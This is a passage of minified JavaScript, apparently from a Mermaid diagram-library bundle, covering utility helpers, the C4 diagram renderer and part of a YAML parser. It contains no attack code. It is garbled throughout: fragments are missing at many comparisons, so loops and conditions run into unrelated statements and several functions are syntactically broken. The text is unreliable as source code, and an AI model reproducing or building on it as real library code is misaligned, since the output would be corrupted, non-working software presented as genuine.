t.call(e,r[0]);case 2:return t.call(e,r[0],r[1]);case 3:return t.call(e,r[0],r[1],r[2])}return t.apply(e,r)}var cQ,uQ=N(()=>{"use strict";o(J8e,"apply");cQ=J8e});function e_e(t,e,r){return e=hQ(e===void 0?t.length-1:e,0),function(){for(var n=arguments,i=-1,a=hQ(n.length-e,0),s=Array(a);++i{"use strict";uQ();hQ=Math.max;o(e_e,"overRest");ST=e_e});function t_e(t){return function(){return t}}var Ns,NL=N(()=>{"use strict";o(t_e,"constant");Ns=t_e});var r_e,fQ,dQ=N(()=>{"use strict";NL();xL();Ru();r_e=om?function(t,e){return om(t,"toString",{configurable:!0,enumerable:!1,value:Ns(e),writable:!0})}:Qi,fQ=r_e});function s_e(t){var e=0,r=0;return function(){var n=a_e(),i=i_e-(n-r);if(r=n,i>0){if(++e>=n_e)return arguments[0]}else e=0;return t.apply(void 0,arguments)}}var n_e,i_e,a_e,pQ,mQ=N(()=>{"use strict";n_e=800,i_e=16,a_e=Date.now;o(s_e,"shortOut");pQ=s_e});var o_e,CT,ML=N(()=>{"use strict";dQ();mQ();o_e=pQ(fQ),CT=o_e});function l_e(t,e){return CT(ST(t,e,Qi),t+"")}var yc,vm=N(()=>{"use strict";Ru();RL();ML();o(l_e,"baseRest");yc=l_e});function c_e(t,e,r){if(!Sn(r))return!1;var n=typeof e;return(n=="number"?fi(r)&&Hh(e,r.length):n=="string"&&e in r)?Io(r[e],t):!1}var lo,qd=N(()=>{"use strict";zd();Po();m2();oo();o(c_e,"isIterateeCall");lo=c_e});function u_e(t){return yc(function(e,r){var n=-1,i=r.length,a=i>1?r[i-1]:void 0,s=i>2?r[2]:void 0;for(a=t.length>3&&typeof a=="function"?(i--,a):void 0,s&&lo(r[0],r[1],s)&&(a=i<3?void 0:a,i=1),e=Object(e);++n{"use strict";vm();qd();o(u_e,"createAssigner");AT=u_e});var h_e,Wh,OL=N(()=>{"use strict";lQ();IL();h_e=AT(function(t,e,r){oQ(t,e,r)}),Wh=h_e});function FL(t,e){if(!t)return e;let r=`curve${t.charAt(0).toUpperCase()+t.slice(1)}`;return f_e[r]??e}function g_e(t,e){let r=t.trim();if(r)return e.securityLevel!=="loose"?(0,vQ.sanitizeUrl)(r):r}function TQ(t,e){return!t||!e?0:Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))}function v_e(t){let e,r=0;t.forEach(i=>{r+=TQ(i,e),e=i});let n=r/2;return $L(t,n)}function x_e(t){return t.length===1?t[0]:v_e(t)}function T_e(t,e,r){let n=structuredClone(r);X.info("our points",n),e!=="start_left"&&e!=="start_right"&&n.reverse();let i=25+t,a=$L(n,i),s=10+t*.5,l=Math.atan2(n[0].y-a.y,n[0].x-a.x),u={x:0,y:0};return e==="start_left"?(u.x=Math.sin(l+Math.PI)*s+(n[0].x+a.x)/2,u.y=-Math.cos(l+Math.PI)*s+(n[0].y+a.y)/2):e==="end_right"?(u.x=Math.sin(l-Math.PI)*s+(n[0].x+a.x)/2-5,u.y=-Math.cos(l-Math.PI)*s+(n[0].y+a.y)/2-5):e==="end_left"?(u.x=Math.sin(l)*s+(n[0].x+a.x)/2-5,u.y=-Math.cos(l)*s+(n[0].y+a.y)/2-5):(u.x=Math.sin(l)*s+(n[0].x+a.x)/2,u.y=-Math.cos(l)*s+(n[0].y+a.y)/2),u}function zL(t){let e="",r="";for(let n of t)n!==void 0&&(n.startsWith("color:")||n.startsWith("text-align:")?r=r+n+";":e=e+n+";");return{style:e,labelStyle:r}}function w_e(t){let e="",r="0123456789abcdef",n=r.length;for(let i=0;iMath.round(parseFloat(a)).toString());return i.includes(r.toString())||i.includes(n.toString())}var vQ,BL,f_e,d_e,p_e,xQ,bQ,m_e,y_e,gQ,$L,b_e,yQ,GL,VL,k_e,E_e,UL,S_e,HL,PL,_T,C_e,A_e,vc,qt,wQ,Ji,xc,tr=N(()=>{"use strict";vQ=ja(tm(),1);yr();gr();S7();pt();vd();v0();vL();OL();F3();BL="\u200B",f_e={curveBasis:No,curveBasisClosed:K5,curveBasisOpen:Q5,curveBumpX:Vv,curveBumpY:Uv,curveBundle:tL,curveCardinalClosed:rL,curveCardinalOpen:iL,curveCardinal:Yv,curveCatmullRomClosed:sL,curveCatmullRomOpen:oL,curveCatmullRom:Kv,curveLinear:Cu,curveLinearClosed:rT,curveMonotoneX:Qv,curveMonotoneY:Zv,curveNatural:J0,curveStep:em,curveStepAfter:e2,curveStepBefore:Jv},d_e=/\s*(?:(\w+)(?=:):|(\w+))\s*(?:(\w+)|((?:(?!}%{2}).|\r?\n)*))?\s*(?:}%{2})?/gi,p_e=o(function(t,e){let r=xQ(t,/(?:init\b)|(?:initialize\b)/),n={};if(Array.isArray(r)){let s=r.map(l=>l.args);b0(s),n=Rn(n,[...s])}else n=r.args;if(!n)return;let i=_0(t,e),a="config";return n[a]!==void 0&&(i==="flowchart-v2"&&(i="flowchart"),n[i]=n[a],delete n[a]),n},"detectInit"),xQ=o(function(t,e=null){try{let r=new RegExp(`[%]{2}(?![{]${d_e.source})(?=[}][%]{2}).* +`,"ig");t=t.trim().replace(r,"").replace(/'/gm,'"'),X.debug(`Detecting diagram directive${e!==null?" type:"+e:""} based on the text:${t}`);let n,i=[];for(;(n=yd.exec(t))!==null;)if(n.index===yd.lastIndex&&yd.lastIndex++,n&&!e||e&&n[1]?.match(e)||e&&n[2]?.match(e)){let a=n[1]?n[1]:n[2],s=n[3]?n[3].trim():n[4]?JSON.parse(n[4].trim()):null;i.push({type:a,args:s})}return i.length===0?{type:t,args:null}:i.length===1?i[0]:i}catch(r){return X.error(`ERROR: ${r.message} - Unable to parse directive type: '${e}' based on the text: '${t}'`),{type:void 0,args:null}}},"detectDirective"),bQ=o(function(t){return t.replace(yd,"")},"removeDirectives"),m_e=o(function(t,e){for(let[r,n]of e.entries())if(n.match(t))return r;return-1},"isSubstringInArray");o(FL,"interpolateToCurve");o(g_e,"formatUrl");y_e=o((t,...e)=>{let r=t.split("."),n=r.length-1,i=r[n],a=window;for(let s=0;s{let r=Math.pow(10,e);return Math.round(t*r)/r},"roundNumber"),$L=o((t,e)=>{let r,n=e;for(let i of t){if(r){let a=TQ(i,r);if(a===0)return r;if(a=1)return{x:i.x,y:i.y};if(s>0&&s<1)return{x:gQ((1-s)*r.x+s*i.x,5),y:gQ((1-s)*r.y+s*i.y,5)}}}r=i}throw new Error("Could not find a suitable point for the given distance")},"calculatePoint"),b_e=o((t,e,r)=>{X.info(`our points ${JSON.stringify(e)}`),e[0]!==r&&(e=e.reverse());let i=$L(e,25),a=t?10:5,s=Math.atan2(e[0].y-i.y,e[0].x-i.x),l={x:0,y:0};return l.x=Math.sin(s)*a+(e[0].x+i.x)/2,l.y=-Math.cos(s)*a+(e[0].y+i.y)/2,l},"calcCardinalityPosition");o(T_e,"calcTerminalLabelPosition");o(zL,"getStylesFromArray");yQ=0,GL=o(()=>(yQ++,"id-"+Math.random().toString(36).substr(2,12)+"-"+yQ),"generateId");o(w_e,"makeRandomHex");VL=o(t=>w_e(t.length),"random"),k_e=o(function(){return{x:0,y:0,fill:void 0,anchor:"start",style:"#666",width:100,height:100,textMargin:0,rx:0,ry:0,valign:void 0,text:""}},"getTextObj"),E_e=o(function(t,e){let r=e.text.replace(tt.lineBreakRegex," "),[,n]=vc(e.fontSize),i=t.append("text");i.attr("x",e.x),i.attr("y",e.y),i.style("text-anchor",e.anchor),i.style("font-family",e.fontFamily),i.style("font-size",n),i.style("font-weight",e.fontWeight),i.attr("fill",e.fill),e.class!==void 0&&i.attr("class",e.class);let a=i.append("tspan");return a.attr("x",e.x+e.textMargin*2),a.attr("fill",e.fill),a.text(r),i},"drawSimpleText"),UL=am((t,e,r)=>{if(!t||(r=Object.assign({fontSize:12,fontWeight:400,fontFamily:"Arial",joinWith:"
"},r),tt.lineBreakRegex.test(t)))return t;let n=t.split(" ").filter(Boolean),i=[],a="";return n.forEach((s,l)=>{let u=Zi(`${s} `,r),h=Zi(a,r);if(u>e){let{hyphenatedStrings:p,remainingWord:m}=S_e(s,e,"-",r);i.push(a,...p),a=m}else h+u>=e?(i.push(a),a=s):a=[a,s].filter(Boolean).join(" ");l+1===n.length&&i.push(a)}),i.filter(s=>s!=="").join(r.joinWith)},(t,e,r)=>`${t}${e}${r.fontSize}${r.fontWeight}${r.fontFamily}${r.joinWith}`),S_e=am((t,e,r="-",n)=>{n=Object.assign({fontSize:12,fontWeight:400,fontFamily:"Arial",margin:0},n);let i=[...t],a=[],s="";return i.forEach((l,u)=>{let h=`${s}${l}`;if(Zi(h,n)>=e){let d=u+1,p=i.length===d,m=`${h}${r}`;a.push(p?h:m),s=""}else s=h}),{hyphenatedStrings:a,remainingWord:s}},(t,e,r="-",n)=>`${t}${e}${r}${n.fontSize}${n.fontWeight}${n.fontFamily}`);o(DT,"calculateTextHeight");o(Zi,"calculateTextWidth");HL=am((t,e)=>{let{fontSize:r=12,fontFamily:n="Arial",fontWeight:i=400}=e;if(!t)return{width:0,height:0};let[,a]=vc(r),s=["sans-serif",n],l=t.split(tt.lineBreakRegex),u=[],h=qe("body");if(!h.remove)return{width:0,height:0,lineHeight:0};let f=h.append("svg");for(let p of s){let m=0,g={width:0,height:0,lineHeight:0};for(let y of l){let v=k_e();v.text=y||BL;let x=E_e(f,v).style("font-size",a).style("font-weight",i).style("font-family",p),b=(x._groups||x)[0][0].getBBox();if(b.width===0&&b.height===0)throw new Error("svg element not in render tree");g.width=Math.round(Math.max(g.width,b.width)),m=Math.round(b.height),g.height+=m,g.lineHeight=Math.round(Math.max(g.lineHeight,m))}u.push(g)}f.remove();let d=isNaN(u[1].height)||isNaN(u[1].width)||isNaN(u[1].lineHeight)||u[0].height>u[1].height&&u[0].width>u[1].width&&u[0].lineHeight>u[1].lineHeight?0:1;return u[d]},(t,e)=>`${t}${e.fontSize}${e.fontWeight}${e.fontFamily}`),PL=class{constructor(e=!1,r){this.count=0;this.count=r?r.length:0,this.next=e?()=>this.count++:()=>Date.now()}static{o(this,"InitIDGenerator")}},C_e=o(function(t){return _T=_T||document.createElement("div"),t=escape(t).replace(/%26/g,"&").replace(/%23/g,"#").replace(/%3B/g,";"),_T.innerHTML=t,unescape(_T.textContent)},"entityDecode");o(qL,"isDetailedError");A_e=o((t,e,r,n)=>{if(!n)return;let i=t.node()?.getBBox();i&&t.append("text").text(n).attr("text-anchor","middle").attr("x",i.x+i.width/2).attr("y",-r).attr("class",e)},"insertTitle"),vc=o(t=>{if(typeof t=="number")return[t,t+"px"];let e=parseInt(t??"",10);return Number.isNaN(e)?[void 0,void 0]:t===String(e)?[e,t+"px"]:[e,t]},"parseFontSize");o(Vn,"cleanAndMerge");qt={assignWithDepth:Rn,wrapLabel:UL,calculateTextHeight:DT,calculateTextWidth:Zi,calculateTextDimensions:HL,cleanAndMerge:Vn,detectInit:p_e,detectDirective:xQ,isSubstringInArray:m_e,interpolateToCurve:FL,calcLabelPosition:x_e,calcCardinalityPosition:b_e,calcTerminalLabelPosition:T_e,formatUrl:g_e,getStylesFromArray:zL,generateId:GL,random:VL,runFunc:y_e,entityDecode:C_e,insertTitle:A_e,isLabelCoordinateInPath:__e,parseFontSize:vc,InitIDGenerator:PL},wQ=o(function(t){let e=t;return e=e.replace(/style.*:\S*#.*;/g,function(r){return r.substring(0,r.length-1)}),e=e.replace(/classDef.*:\S*#.*;/g,function(r){return r.substring(0,r.length-1)}),e=e.replace(/#\w+;/g,function(r){let n=r.substring(1,r.length-1);return/^\+?\d+$/.test(n)?"\uFB02\xB0\xB0"+n+"\xB6\xDF":"\uFB02\xB0"+n+"\xB6\xDF"}),e},"encodeEntities"),Ji=o(function(t){return t.replace(/fl°°/g,"&#").replace(/fl°/g,"&").replace(/¶ß/g,";")},"decodeEntities"),xc=o((t,e,{counter:r=0,prefix:n,suffix:i},a)=>a||`${n?`${n}_`:""}${t}_${e}_${r}${i?`_${i}`:""}`,"getEdgeId");o(Cn,"handleUndefinedAttr");o(__e,"isLabelCoordinateInPath")});function Ll(t,e,r,n,i){if(!e[t].width)if(r)e[t].text=UL(e[t].text,i,n),e[t].textLines=e[t].text.split(tt.lineBreakRegex).length,e[t].width=i,e[t].height=DT(e[t].text,n);else{let a=e[t].text.split(tt.lineBreakRegex);e[t].textLines=a.length;let s=0;e[t].height=0,e[t].width=0;for(let l of a)e[t].width=Math.max(Zi(l,n),e[t].width),s=DT(l,n),e[t].height=e[t].height+s}}function AQ(t,e,r,n,i){let a=new MT(i);a.data.widthLimit=r.data.widthLimit/Math.min(WL,n.length);for(let[s,l]of n.entries()){let u=0;l.image={width:0,height:0,Y:0},l.sprite&&(l.image.width=48,l.image.height=48,l.image.Y=u,u=l.image.Y+l.image.height);let h=l.wrap&&Wt.wrap,f=LT(Wt);if(f.fontSize=f.fontSize+2,f.fontWeight="bold",Ll("label",l,h,f,a.data.widthLimit),l.label.Y=u+8,u=l.label.Y+l.label.height,l.type&&l.type.text!==""){l.type.text="["+l.type.text+"]";let g=LT(Wt);Ll("type",l,h,g,a.data.widthLimit),l.type.Y=u+5,u=l.type.Y+l.type.height}if(l.descr&&l.descr.text!==""){let g=LT(Wt);g.fontSize=g.fontSize-2,Ll("descr",l,h,g,a.data.widthLimit),l.descr.Y=u+20,u=l.descr.Y+l.descr.height}if(s==0||s%WL===0){let g=r.data.startx+Wt.diagramMarginX,y=r.data.stopy+Wt.diagramMarginY+u;a.setData(g,g,y,y)}else{let g=a.data.stopx!==a.data.startx?a.data.stopx+Wt.diagramMarginX:a.data.startx,y=a.data.starty;a.setData(g,g,y,y)}a.name=l.alias;let d=i.db.getC4ShapeArray(l.alias),p=i.db.getC4ShapeKeys(l.alias);p.length>0&&CQ(a,t,d,p),e=l.alias;let m=i.db.getBoundaries(e);m.length>0&&AQ(t,e,a,m,i),l.alias!=="global"&&SQ(t,l,a),r.data.stopy=Math.max(a.data.stopy+Wt.c4ShapeMargin,r.data.stopy),r.data.stopx=Math.max(a.data.stopx+Wt.c4ShapeMargin,r.data.stopx),RT=Math.max(RT,r.data.stopx),NT=Math.max(NT,r.data.stopy)}}var RT,NT,EQ,WL,Wt,MT,YL,g2,LT,D_e,SQ,CQ,Ms,kQ,L_e,R_e,N_e,XL,_Q=N(()=>{"use strict";yr();kj();pt();RA();gr();GA();Xt();v0();tr();Ei();RT=0,NT=0,EQ=4,WL=2;tv.yy=ov;Wt={},MT=class{static{o(this,"Bounds")}constructor(e){this.name="",this.data={},this.data.startx=void 0,this.data.stopx=void 0,this.data.starty=void 0,this.data.stopy=void 0,this.data.widthLimit=void 0,this.nextData={},this.nextData.startx=void 0,this.nextData.stopx=void 0,this.nextData.starty=void 0,this.nextData.stopy=void 0,this.nextData.cnt=0,YL(e.db.getConfig())}setData(e,r,n,i){this.nextData.startx=this.data.startx=e,this.nextData.stopx=this.data.stopx=r,this.nextData.starty=this.data.starty=n,this.nextData.stopy=this.data.stopy=i}updateVal(e,r,n,i){e[r]===void 0?e[r]=n:e[r]=i(n,e[r])}insert(e){this.nextData.cnt=this.nextData.cnt+1;let r=this.nextData.startx===this.nextData.stopx?this.nextData.stopx+e.margin:this.nextData.stopx+e.margin*2,n=r+e.width,i=this.nextData.starty+e.margin*2,a=i+e.height;(r>=this.data.widthLimit||n>=this.data.widthLimit||this.nextData.cnt>EQ)&&(r=this.nextData.startx+e.margin+Wt.nextLinePaddingX,i=this.nextData.stopy+e.margin*2,this.nextData.stopx=n=r+e.width,this.nextData.starty=this.nextData.stopy,this.nextData.stopy=a=i+e.height,this.nextData.cnt=1),e.x=r,e.y=i,this.updateVal(this.data,"startx",r,Math.min),this.updateVal(this.data,"starty",i,Math.min),this.updateVal(this.data,"stopx",n,Math.max),this.updateVal(this.data,"stopy",a,Math.max),this.updateVal(this.nextData,"startx",r,Math.min),this.updateVal(this.nextData,"starty",i,Math.min),this.updateVal(this.nextData,"stopx",n,Math.max),this.updateVal(this.nextData,"stopy",a,Math.max)}init(e){this.name="",this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0,widthLimit:void 0},this.nextData={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0,cnt:0},YL(e.db.getConfig())}bumpLastMargin(e){this.data.stopx+=e,this.data.stopy+=e}},YL=o(function(t){Rn(Wt,t),t.fontFamily&&(Wt.personFontFamily=Wt.systemFontFamily=Wt.messageFontFamily=t.fontFamily),t.fontSize&&(Wt.personFontSize=Wt.systemFontSize=Wt.messageFontSize=t.fontSize),t.fontWeight&&(Wt.personFontWeight=Wt.systemFontWeight=Wt.messageFontWeight=t.fontWeight)},"setConf"),g2=o((t,e)=>({fontFamily:t[e+"FontFamily"],fontSize:t[e+"FontSize"],fontWeight:t[e+"FontWeight"]}),"c4ShapeFont"),LT=o(t=>({fontFamily:t.boundaryFontFamily,fontSize:t.boundaryFontSize,fontWeight:t.boundaryFontWeight}),"boundaryFont"),D_e=o(t=>({fontFamily:t.messageFontFamily,fontSize:t.messageFontSize,fontWeight:t.messageFontWeight}),"messageFont");o(Ll,"calcC4ShapeTextWH");SQ=o(function(t,e,r){e.x=r.data.startx,e.y=r.data.starty,e.width=r.data.stopx-r.data.startx,e.height=r.data.stopy-r.data.starty,e.label.y=Wt.c4ShapeMargin-35;let n=e.wrap&&Wt.wrap,i=LT(Wt);i.fontSize=i.fontSize+2,i.fontWeight="bold";let a=Zi(e.label.text,i);Ll("label",e,n,i,a),Al.drawBoundary(t,e,Wt)},"drawBoundary"),CQ=o(function(t,e,r,n){let i=0;for(let a of n){i=0;let s=r[a],l=g2(Wt,s.typeC4Shape.text);switch(l.fontSize=l.fontSize-2,s.typeC4Shape.width=Zi("\xAB"+s.typeC4Shape.text+"\xBB",l),s.typeC4Shape.height=l.fontSize+2,s.typeC4Shape.Y=Wt.c4ShapePadding,i=s.typeC4Shape.Y+s.typeC4Shape.height-4,s.image={width:0,height:0,Y:0},s.typeC4Shape.text){case"person":case"external_person":s.image.width=48,s.image.height=48,s.image.Y=i,i=s.image.Y+s.image.height;break}s.sprite&&(s.image.width=48,s.image.height=48,s.image.Y=i,i=s.image.Y+s.image.height);let u=s.wrap&&Wt.wrap,h=Wt.width-Wt.c4ShapePadding*2,f=g2(Wt,s.typeC4Shape.text);if(f.fontSize=f.fontSize+2,f.fontWeight="bold",Ll("label",s,u,f,h),s.label.Y=i+8,i=s.label.Y+s.label.height,s.type&&s.type.text!==""){s.type.text="["+s.type.text+"]";let m=g2(Wt,s.typeC4Shape.text);Ll("type",s,u,m,h),s.type.Y=i+5,i=s.type.Y+s.type.height}else if(s.techn&&s.techn.text!==""){s.techn.text="["+s.techn.text+"]";let m=g2(Wt,s.techn.text);Ll("techn",s,u,m,h),s.techn.Y=i+5,i=s.techn.Y+s.techn.height}let d=i,p=s.label.width;if(s.descr&&s.descr.text!==""){let m=g2(Wt,s.typeC4Shape.text);Ll("descr",s,u,m,h),s.descr.Y=i+20,i=s.descr.Y+s.descr.height,p=Math.max(s.label.width,s.descr.width),d=i-s.descr.textLines*5}p=p+Wt.c4ShapePadding,s.width=Math.max(s.width||Wt.width,p,Wt.width),s.height=Math.max(s.height||Wt.height,d,Wt.height),s.margin=s.margin||Wt.c4ShapeMargin,t.insert(s),Al.drawC4Shape(e,s,Wt)}t.bumpLastMargin(Wt.c4ShapeMargin)},"drawC4ShapeArray"),Ms=class{static{o(this,"Point")}constructor(e,r){this.x=e,this.y=r}},kQ=o(function(t,e){let r=t.x,n=t.y,i=e.x,a=e.y,s=r+t.width/2,l=n+t.height/2,u=Math.abs(r-i),h=Math.abs(n-a),f=h/u,d=t.height/t.width,p=null;return n==a&&ri?p=new Ms(r,l):r==i&&na&&(p=new Ms(s,n)),r>i&&n=f?p=new Ms(r,l+f*t.width/2):p=new Ms(s-u/h*t.height/2,n+t.height):r=f?p=new Ms(r+t.width,l+f*t.width/2):p=new Ms(s+u/h*t.height/2,n+t.height):ra?d>=f?p=new Ms(r+t.width,l-f*t.width/2):p=new Ms(s+t.height/2*u/h,n):r>i&&n>a&&(d>=f?p=new Ms(r,l-t.width/2*f):p=new Ms(s-t.height/2*u/h,n)),p},"getIntersectPoint"),L_e=o(function(t,e){let r={x:0,y:0};r.x=e.x+e.width/2,r.y=e.y+e.height/2;let n=kQ(t,r);r.x=t.x+t.width/2,r.y=t.y+t.height/2;let i=kQ(e,r);return{startPoint:n,endPoint:i}},"getIntersectPoints"),R_e=o(function(t,e,r,n){let i=0;for(let a of e){i=i+1;let s=a.wrap&&Wt.wrap,l=D_e(Wt);n.db.getC4Type()==="C4Dynamic"&&(a.label.text=i+": "+a.label.text);let h=Zi(a.label.text,l);Ll("label",a,s,l,h),a.techn&&a.techn.text!==""&&(h=Zi(a.techn.text,l),Ll("techn",a,s,l,h)),a.descr&&a.descr.text!==""&&(h=Zi(a.descr.text,l),Ll("descr",a,s,l,h));let f=r(a.from),d=r(a.to),p=L_e(f,d);a.startPoint=p.startPoint,a.endPoint=p.endPoint}Al.drawRels(t,e,Wt)},"drawRels");o(AQ,"drawInsideBoundary");N_e=o(function(t,e,r,n){Wt=ge().c4;let i=ge().securityLevel,a;i==="sandbox"&&(a=qe("#i"+e));let s=i==="sandbox"?qe(a.nodes()[0].contentDocument.body):qe("body"),l=n.db;n.db.setWrap(Wt.wrap),EQ=l.getC4ShapeInRow(),WL=l.getC4BoundaryInRow(),X.debug(`C:${JSON.stringify(Wt,null,2)}`);let u=i==="sandbox"?s.select(`[id="${e}"]`):qe(`[id="${e}"]`);Al.insertComputerIcon(u),Al.insertDatabaseIcon(u),Al.insertClockIcon(u);let h=new MT(n);h.setData(Wt.diagramMarginX,Wt.diagramMarginX,Wt.diagramMarginY,Wt.diagramMarginY),h.data.widthLimit=screen.availWidth,RT=Wt.diagramMarginX,NT=Wt.diagramMarginY;let f=n.db.getTitle(),d=n.db.getBoundaries("");AQ(u,"",h,d,n),Al.insertArrowHead(u),Al.insertArrowEnd(u),Al.insertArrowCrossHead(u),Al.insertArrowFilledHead(u),R_e(u,n.db.getRels(),n.db.getC4Shape,n),h.data.stopx=RT,h.data.stopy=NT;let p=h.data,g=p.stopy-p.starty+2*Wt.diagramMarginY,v=p.stopx-p.startx+2*Wt.diagramMarginX;f&&u.append("text").text(f).attr("x",(p.stopx-p.startx)/2-4*Wt.diagramMarginX).attr("y",p.starty+Wt.diagramMarginY),mn(u,g,v,Wt.useMaxWidth);let x=f?60:0;u.attr("viewBox",p.startx-Wt.diagramMarginX+" -"+(Wt.diagramMarginY+x)+" "+v+" "+(g+x)),X.debug("models:",p)},"draw"),XL={drawPersonOrSystemArray:CQ,drawBoundary:SQ,setConf:YL,draw:N_e}});var M_e,DQ,LQ=N(()=>{"use strict";M_e=o(t=>`.person { + stroke: ${t.personBorder}; + fill: ${t.personBkg}; + } +`,"getStyles"),DQ=M_e});var RQ={};dr(RQ,{diagram:()=>I_e});var I_e,NQ=N(()=>{"use strict";RA();GA();_Q();LQ();I_e={parser:nH,db:ov,renderer:XL,styles:DQ,init:o(({c4:t,wrap:e})=>{XL.setConf(t),ov.setWrap(e)},"init")}});function jQ(t){return typeof t>"u"||t===null}function F_e(t){return typeof t=="object"&&t!==null}function $_e(t){return Array.isArray(t)?t:jQ(t)?[]:[t]}function z_e(t,e){var r,n,i,a;if(e)for(a=Object.keys(e),r=0,n=a.length;rl&&(a=" ... ",e=n-l+a.length),r-n>l&&(s=" ...",r=n+l-s.length),{str:a+t.slice(e,r).replace(/\t/g,"\u2192")+s,pos:n-e+a.length}}function KL(t,e){return Pi.repeat(" ",e-t.length)+t}function j_e(t,e){if(e=Object.create(e||null),!t.buffer)return null;e.maxLength||(e.maxLength=79),typeof e.indent!="number"&&(e.indent=1),typeof e.linesBefore!="number"&&(e.linesBefore=3),typeof e.linesAfter!="number"&&(e.linesAfter=2);for(var r=/\r?\n|\r|\0/g,n=[0],i=[],a,s=-1;a=r.exec(t.buffer);)i.push(a.index),n.push(a.index+a[0].length),t.position<=a.index&&s<0&&(s=n.length-2);s<0&&(s=n.length-1);var l="",u,h,f=Math.min(t.line+e.linesAfter,i.length).toString().length,d=e.maxLength-(e.indent+f+3);for(u=1;u<=e.linesBefore&&!(s-u<0);u++)h=jL(t.buffer,n[s-u],i[s-u],t.position-(n[s]-n[s-u]),d),l=Pi.repeat(" ",e.indent)+KL((t.line-u+1).toString(),f)+" | "+h.str+` +`+l;for(h=jL(t.buffer,n[s],i[s],t.position,d),l+=Pi.repeat(" ",e.indent)+KL((t.line+1).toString(),f)+" | "+h.str+` +`,l+=Pi.repeat("-",e.indent+f+3+h.pos)+`^ +`,u=1;u<=e.linesAfter&&!(s+u>=i.length);u++)h=jL(t.buffer,n[s+u],i[s+u],t.position-(n[s]-n[s+u]),d),l+=Pi.repeat(" ",e.indent)+KL((t.line+u+1).toString(),f)+" | "+h.str+` +`;return l.replace(/\n$/,"")}function J_e(t){var e={};return t!==null&&Object.keys(t).forEach(function(r){t[r].forEach(function(n){e[String(n)]=r})}),e}function eDe(t,e){if(e=e||{},Object.keys(e).forEach(function(r){if(Q_e.indexOf(r)===-1)throw new Is('Unknown option "'+r+'" is met in definition of "'+t+'" YAML type.')}),this.options=e,this.tag=t,this.kind=e.kind||null,this.resolve=e.resolve||function(){return!0},this.construct=e.construct||function(r){return r},this.instanceOf=e.instanceOf||null,this.predicate=e.predicate||null,this.represent=e.represent||null,this.representName=e.representName||null,this.defaultStyle=e.defaultStyle||null,this.multi=e.multi||!1,this.styleAliases=J_e(e.styleAliases||null),Z_e.indexOf(this.kind)===-1)throw new Is('Unknown kind "'+this.kind+'" is specified for "'+t+'" YAML type.')}function IQ(t,e){var r=[];return t[e].forEach(function(n){var i=r.length;r.forEach(function(a,s){a.tag===n.tag&&a.kind===n.kind&&a.multi===n.multi&&(i=s)}),r[i]=n}),r}function tDe(){var t={scalar:{},sequence:{},mapping:{},fallback:{},multi:{scalar:[],sequence:[],mapping:[],fallback:[]}},e,r;function n(i){i.multi?(t.multi[i.kind].push(i),t.multi.fallback.push(i)):t[i.kind][i.tag]=t.fallback[i.tag]=i}for(o(n,"collectType"),e=0,r=arguments.length;e=0&&(e=e.slice(1)),e===".inf"?r===1?Number.POSITIVE_INFINITY:Number.NEGATIVE_INFINITY:e===".nan"?NaN:r*parseFloat(e,10)}function CDe(t,e){var r;if(isNaN(t))switch(e){case"lowercase":return".nan";case"uppercase":return".NAN";case"camelcase":return".NaN"}else if(Number.POSITIVE_INFINITY===t)switch(e){case"lowercase":return".inf";case"uppercase":return".INF";case"camelcase":return".Inf"}else if(Number.NEGATIVE_INFINITY===t)switch(e){case"lowercase":return"-.inf";case"uppercase":return"-.INF";case"camelcase":return"-.Inf"}else if(Pi.isNegativeZero(t))return"-0.0";return r=t.toString(10),SDe.test(r)?r.replace("e",".e"):r}function ADe(t){return Object.prototype.toString.call(t)==="[object Number]"&&(t%1!==0||Pi.isNegativeZero(t))}function LDe(t){return t===null?!1:ZQ.exec(t)!==null||JQ.exec(t)!==null}function RDe(t){var e,r,n,i,a,s,l,u=0,h=null,f,d,p;if(e=ZQ.exec(t),e===null&&(e=JQ.exec(t)),e===null)throw new Error("Date resolve error");if(r=+e[1],n=+e[2]-1,i=+e[3],!e[4])return new Date(Date.UTC(r,n,i));if(a=+e[4],s=+e[5],l=+e[6],e[7]){for(u=e[7].slice(0,3);u.length<3;)u+="0";u=+u}return e[9]&&(f=+e[10],d=+(e[11]||0),h=(f*60+d)*6e4,e[9]==="-"&&(h=-h)),p=new Date(Date.UTC(r,n,i,a,s,l,u)),h&&p.setTime(p.getTime()-h),p}function NDe(t){return t.toISOString()}function IDe(t){return t==="<<"||t===null}function PDe(t){if(t===null)return!1;var e,r,n=0,i=t.length,a=n9;for(r=0;r64)){if(e<0)return!1;n+=6}return n%8===0}function BDe(t){var e,r,n=t.replace(/[\r\n=]/g,""),i=n.length,a=n9,s=0,l=[];for(e=0;e>16&255),l.push(s>>8&255),l.push(s&255)),s=s<<6|a.indexOf(n.charAt(e));return r=i%4*6,r===0?(l.push(s>>16&255),l.push(s>>8&255),l.push(s&255)):r===18?(l.push(s>>10&255),l.push(s>>2&255)):r===12&&l.push(s>>4&255),new Uint8Array(l)}function FDe(t){var e="",r=0,n,i,a=t.length,s=n9;for(n=0;n>18&63],e+=s[r>>12&63],e+=s[r>>6&63],e+=s[r&63]),r=(r<<8)+t[n];return i=a%3,i===0?(e+=s[r>>18&63],e+=s[r>>12&63],e+=s[r>>6&63],e+=s[r&63]):i===2?(e+=s[r>>10&63],e+=s[r>>4&63],e+=s[r<<2&63],e+=s[64]):i===1&&(e+=s[r>>2&63],e+=s[r<<4&63],e+=s[64],e+=s[64]),e}function $De(t){return Object.prototype.toString.call(t)==="[object Uint8Array]"}function UDe(t){if(t===null)return!0;var e=[],r,n,i,a,s,l=t;for(r=0,n=l.length;r>10)+55296,(t-65536&1023)+56320)}function lLe(t,e){this.input=t,this.filename=e.filename||null,this.schema=e.schema||eZ,this.onWarning=e.onWarning||null,this.legacy=e.legacy||!1,this.json=e.json||!1,this.listener=e.listener||null,this.implicitTypes=this.schema.compiledImplicit,this.typeMap=this.schema.compiledTypeMap,this.length=t.length,this.position=0,this.line=0,this.lineStart=0,this.lineIndent=0,this.firstTabInLine=-1,this.documents=[]}function oZ(t,e){var r={name:t.filename,buffer:t.input.slice(0,-1),position:t.position,line:t.line,column:t.position-t.lineStart};return r.snippet=K_e(r),new Is(e,r)}function Zt(t,e){throw oZ(t,e)}function PT(t,e){t.onWarning&&t.onWarning.call(null,oZ(t,e))}function Yh(t,e,r,n){var i,a,s,l;if(e1&&(t.result+=Pi.repeat(` +`,e-1))}function cLe(t,e,r){var 